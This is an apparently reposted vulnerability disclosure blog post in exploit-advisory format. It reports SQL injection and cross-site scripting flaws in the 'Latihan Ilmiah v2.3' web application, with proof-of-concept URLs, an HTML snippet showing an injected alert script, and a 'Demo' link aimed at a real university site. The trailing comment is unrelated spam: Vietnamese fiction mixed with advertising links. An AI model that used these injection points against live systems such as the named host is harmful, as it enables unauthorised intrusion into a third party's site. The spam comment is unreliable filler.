Latihan Ilmiah v2.3 Release <= SQLi /XSS Vulnerability



##################################################
# Exploit Title: Latihan Ilmiah v2.3 Release <= SQLi /XSS Vulnerability
# Date: 07/10/2012
# Author: Ryuzaki Lawlet
# Web/Blog: http://justryuz.blogspot.com
# 3Mail: ryuzaki_l@y7mail.com
# Category: webapps
# Google dork: -
# Tested on: Linux
+---------------------------------------------------+
[~]Exploit/p0c :

http://localhost/index.php?file=notice&dept=[SQLi]
http://localhost/index.php?file=notice&dept=[XSS]


https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhufqst7afRkt8KAyd_LQP1NPeO3alio4QZJJv7MaTcdtfu570zYIszPkTvhYyw6jCtQX6xT7dn-jxd7JEhpHmmTua6DQaow6vl9uKgR2wX1eJp_fvG2M2FQpq73dsc9ecMk3YFr3n3lTw/s1600/um.png

<table width="100%" border="0" cellspacing="1" cellpadding="1">
  <tr>
    <td bgcolor="#3399FF" class="font_title2"><div align="center">Announcement: <script>alert(100)</script> </div></td>
  </tr>
  <tr class="font_content_s">
    <td><table width="100%" border="1" cellspacing="1" cellpadding="1" class="border1">
          <tr bgcolor="#FBE3B7" class="font_title border1" >
            <td width="17%"><div align="center">Date</div></td>
            <td width="83%"><div align="center">Subject</div></td>
          </tr>
          </table></td>

[~] Demo
http://ilmiah.fsktm.um.edu.my/index.php?file=notice&dept=[xss]

+---------------------------------------------------+
Greetz to : ./CyberSEC & Sofea Hana

Postingan terkait:

1 Tanggapan untuk "Latihan Ilmiah v2.3 Release <= SQLi /XSS Vulnerability"

  1. của hắn chớp động đã tới trước Long Đằng.

    Lúc này Yêu Huyên, Thanh Đồng, Hồng Loan, Yến Hiểu Kỳ, Trầm Linh, Nhạc Cốc Khiếu Thiên Hổ, Đại Hắc bọn họ cũng lập tức hành động, lắc một cái đặt tới trước đám người của Toan Nghê Tộc, mang theo một lực công kích cường hãn.

    Long Đằng thấy thân ảnh của Nhạc Thành xuất hiện bên cạnh mình thì đâu dám ngạnh khác, cả kinh lui xuống.

    - Huyễn Hóadongtam
    mu private
    tim phong tro
    http://nhatroso.com/
    nhac san cuc manh
    tổng đài tư vấn luật
    http://dichvu.tuvanphapluattructuyen.com/
    văn phòng luật
    tổng đài tư vấn pháp luật
    thành lập công ty
    http://we-cooking.com/
    chém gió
    trung tâm ngoại ngữ vạn thiên.

    Nhạc Thành mỉm cười quát lạnh, tựa hồ như đã sớm biết Long Đằng muốn chạy trốn, lãnh ý tràn ngập, thủ ấn ngưng tụ, một đạo pháp quyết đánh ra, tám thanh Âm Dương Kiếm ngưng tụ ở trên bầu trời, hóa thành cả vạn đạo kiếm quang.

    Nhạc Thành lúc này ra tay độc ác, không để cho Long Đồ có cơ hội, cả vạn đạo kiếm quang bắn tới, trong nháy mắt phong bế đường lui của Long Đằngng Đằng nhìn thấy biến đổi như vậy thì cả

    ReplyDelete